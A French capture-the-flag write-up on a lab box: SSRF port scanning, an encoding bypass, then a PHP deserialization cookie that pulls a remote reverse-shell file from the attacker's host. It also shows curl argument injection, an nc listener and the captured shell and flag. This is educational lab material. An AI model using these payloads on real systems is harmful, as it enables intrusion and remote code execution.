

Write up INSANE - Rien ne vas plus !

Nous arrivons sur le site par défaut qui est un soit disant casino, nous remarquons à la fin un formulaire pour réaliser une requête sur un site en construction.

La requête par défaut est censé être 127.0.0.1 ce qui nous affiche le site lui même. On peut difficilement essayer de bypass les filtres pour injecter une commande mais peut-on aller plus loin ?

Après quelque test nous pouvons utiliser les caractères suivants :

```
/  
-  
:  
=  
. 
```

Il existe également un ajax handler derrière donc nous pouvons le bypass en faisant une requête directement sur le backend au lieu du formulaire, pour cela je vais utiliser Burp.

Enumeration de port

Essayons d'énumérer les ports que nous ne pouvons voir avec nmap du coup :

② **Payload Positions**
Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: http://192.168.201.33

```
1 POST /casino.php HTTP/1.1  
2 Host: 192.168.201.33  
3 Content-Length: 33  
4 Accept: */*  
5 X-Requested-With: XMLHttpRequest  
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36  
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
8 Origin: http://192.168.201.33  
9 Referer: http://192.168.201.33/  
10 Accept-Encoding: gzip, deflate  
11 Accept-Language: en-US,en;q=0.9  
12 Cookie: PHPSESSID=t065dsjoa886bhh25k62pmugs9  
13 Connection: close  
14  
15 check=http%3A%2F%2F127.0.0.1:$1$
```

Results	Positions	Payloads	Resource Pool	Options	
Filter: Showing all items					
Request		Payload	Status	Error	Timeout
2739	2739			<input type="checkbox"/>	<input type="checkbox"/>
2738	2738			<input type="checkbox"/>	<input type="checkbox"/>
80	80		200	<input type="checkbox"/>	<input type="checkbox"/>
					22591
2345	2345		200	<input type="checkbox"/>	<input type="checkbox"/>
					1117
2737	2737		200	<input type="checkbox"/>	<input type="checkbox"/>
2736	2736		200	<input type="checkbox"/>	<input type="checkbox"/>
2735	2735		200	<input type="checkbox"/>	<input type="checkbox"/>
2734	2734		200	<input type="checkbox"/>	<input type="checkbox"/>
2733	2733		200	<input type="checkbox"/>	<input type="checkbox"/>
2732	2732		200	<input type="checkbox"/>	<input type="checkbox"/>

Bingo

Une fois la requête effectuée nous tombons sur un site web en construction

```

3 Content-Length: 816
9 Connection: close
0 Content-Type: text/html; charset=UTF-8
1
2
3 <!DOCTYPE html>
4 <html lang="en">
5   <head>
6     <!-- basic -->
7     <meta charset="utf-8">
8     <meta http-equiv="X-UA-Compatible" content="IE=edge" >
9
0   <title>
    Construction
  </title>
1   <!-- css -->
2   <link rel="stylesheet" href="style.css">
3
4 </head>
5 <body class="Light">
6   <div class="overlay">
7     </div>
8   <div class="stars" aria-hidden="true">
9     </div>
3   <div class="starts2" aria-hidden="true">
4     </div>
9   <div class="starts3" aria-hidden="true">
0     </div>
<main class="main">
  <section class="contact">
    <h1 class="title">
      Awesome Build
    </h1>
    <h2 class="sub-title">
      Site Under Construction
    </h2>
4
5   </section>
3   <!-- Soon
7     <form method="post">
3       <input type="submit" name="changeTheme" value="Dark"/>
9       <input type="submit" name="changeTheme" value="Light"/>
0     </form>
1

```

Nous pouvons peut être essayer d'énumérer les répertoires !

pareil je passe tout ça dans burp avec une liste connue, et je tombe sur **/includes/**

278	main				
279	taxonomy				
4	includes	200			617
0		200			574
1	cgi-bin	200			574
2	images	200			574
3	admin	200			574
5	modules	200			574
6	templates	200			574
7	cache	200			574
8	media	200			574
9	js	200			574
10	language	200			574

Voila ce que me donne le répertoire :

Response

Pretty Raw Hex Render

Index of /includes

Name	Last modified	Size	Description
------	---------------	------	-------------

Parent Directory	-		
includes.php	2023-02-22 15:18	451	
utils.php	2023-02-22 15:18	1.0K	

2 fichiers php intéressant

essayons sur **utils.php** -> cela ne me donne rien

et includes.php nous donne ceci :

```
<b>
Error:
</b>
Missing 'path' parameter.|
```

en rajoutant ?path= nous n'avons plus d'erreur, essayons d'ajouter n'importe quoi, cela ne donne rien mmh, essayons d'inclure utils.php

AIE

```
<b>Error:</b> Attack detected.
```

il faudrait bypass un filtre mmh...

La méthode qui fonctionne est d'encoder le payload plusieurs fois... Nous avons de la chance que le site initiale ne bloque pas les %

Donc nous découvrons les fichier php ci dessous :

index.php

la partie php du index.php :

```
<?php
include_once 'includes/utils.php';

/*
if(isset($_POST['changeTheme'])) {
    set_theme($_POST['changeTheme']);
}
```

```
*/  
$theme = get_theme();  
  
?>
```

utils.php

```
<?php  
  
class UserTheme {  
    public $theme;  
  
    public function __construct($theme = "Light") {  
        $this->theme = $theme;  
    }  
}  
  
function get_theme() {  
  
    if (!isset($_COOKIE['UserTheme'])) {  
        $up_cookie = base64_encode(serialize(new UserTheme()));  
        setcookie('UserTheme', $up_cookie);  
    } else {  
        $up_cookie = $_COOKIE['UserTheme'];  
    }  
    $up = unserialize(base64_decode($up_cookie));  
    return $up->theme;  
}  
  
function set_theme($val) {  
    setcookie('UserTheme', base64_encode(serialize(new UserTheme($val))));  
}  
  
class Avatar {  
    public $Name;  
    public $imgPath;  
  
    public function __construct($imgPath, $Name) {  
        $this->imgPath = $imgPath;  
        $this->Name = $Name;  
    }  
  
    public function save($tmp) {  
        $file = fopen($this->imgPath, "w");  
        fwrite($file, file_get_contents($tmp));  
        fclose($file);  
    }  
}  
  
class AvatarInterface {  
    public $Name;  
    public $imgPath;  
    public $tmp;  
  
    public function __wakeup() {  
        $a = new Avatar($this->imgPath, $this->Name);  
        $a->save($this->tmp);  
    }  
}
```

?>

Et bien et bien, qu'avons nous là !! Du serialize en PHP , nous pouvons abuser du `$_COOKIE['UserTheme']`

pour forger une deserialization malicieuse sur ces classes:

```
class Avatar {  
    public $Name;  
    public $imgPath;  
  
    public function __construct($imgPath,$Name) {  
        $this->imgPath = $imgPath;  
        $this->Name = $Name;  
    }  
  
    public function save($tmp) {  
        $file = fopen($this->imgPath, "w");  
        fwrite($file, file_get_contents($tmp));  
        fclose($file);  
    }  
}  
  
class AvatarInterface {  
    public $Name;  
    public $imgPath;  
    public $tmp;  
  
    public function __wakeup() {  
        $a = new Avatar($this->imgPath,$this->Name);  
        $a->save($this->tmp);  
    }  
}
```

Il faudrait parvenir à appeler la fonction save de la class Avatar, pour pouvoir écrire un revershell ou un web shell, sachant qu'il y a des caractères non autorisés, un reverse shell serait bien plus simple.

Le payload ressemblerait à ça :

```
0:15:"AvatarInterface":3:  
{s:3:"tmp";s:34:"http://192.168.201.72/revshell.txt";s:7:"imgPath";s:12:"revshell.php";s:4:"Na  
me";s:4:"osef";}# en base 64 :  
TzoxNToiQXZhdGFySW50ZXJmYWNlIj0zOntz0jM6InRtcCI7czozNDoiaHR0cDovLzE5Mi4xNjguMjAxLjcyL3JldnNoZW  
xsLnR4dCI7cz030iJpbWdQYXRoIjtz0jEy0iJyZXZzaGVsbC5waHAi03M6NDoiTmFtZSI7cz00iJvc2VmIjt9
```

Si nous avons énumérer, d'autres fichiers avec cette technique, nous pouvions remarquer que le fichier php de notre premier site web (</var/www/html/casino.php>) effectuer des requêtes avec curl de cette manière :

```
echo shell_exec('curl --insecure "'.$ip.'"');
```

Donc voilà la requête final avec les quotes :

```
check=http://127.0.0.1:2345/index.php"--  
cookie="UserTheme=TzoxNToiQXZhdGFySW50ZXJmYWNLijoz0ntz0jM6InRtcCI7czozNDoiaHR0cDovLzE5Mi4xNjgu  
MjAxLjcyL3JldnNoZWxsLnR4dCI7cz030iJpbWdQYXR0Ijtz0jEy0iJyZXZzaGVsbC5waHAI03M6NDoiTmFtZSI7cz000i  
Jvc2VmIjt9
```

La requête étant effectuer depuis le fichier index.php, notre webshell.php sera créer à la racine, nous ne pouvons pas savoir si il a été créer à part de le requêter !

Essayons de nous connecter au revershell que nous avons posté !

The screenshot shows a network traffic analysis interface. On the left, under 'Request', there is a detailed log of a POST request to '/casino.php'. The 'check' parameter in the request body is highlighted in red and points to the URL 'http://127.0.0.1:2345/revshell.php'. On the right, under 'Response', there is a large, mostly blank white area.

Et GG nous avons notre revershell !!

```
[+] grootime@grootime-parrot:[~/Downloads]  
$ rlwrap -cAr nc -lvpn 5555  
listening on [any] 5555 ...  
connect to [192.168.201.72] from (UNKNOWN) [192.168.201.33] 52140  
Linux insane-CTF 5.19.0-31-generic #32-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 20 15:20:08 UTC 2023 x86_64 x86_64 x86_64  
GNU/Linux  
17:00:25 up 7:00, 3 users, load average: 0,00, 0,00, 0,00  
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT  
insane pts/1 192.168.201.72 13:35 17.00s 2.46s 0.99s sudo su -  
insane pts/0 192.168.201.72 10:35 3:24m 2.55s 0.27s sshd: insane [priv]  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
bash: cannot set terminal process group (15031): Inappropriate ioctl for device  
bash: no job control in this shell  
bash-5.2$
```

bon la partie privesc n'est pas dans le chall donc un

```
bash -p
```

suffit à devenir root !

et faire cat /root.flag.txt

NHM2I{W0W_GG_YOU_4R3_R34LLY_1MPR3SSIVE}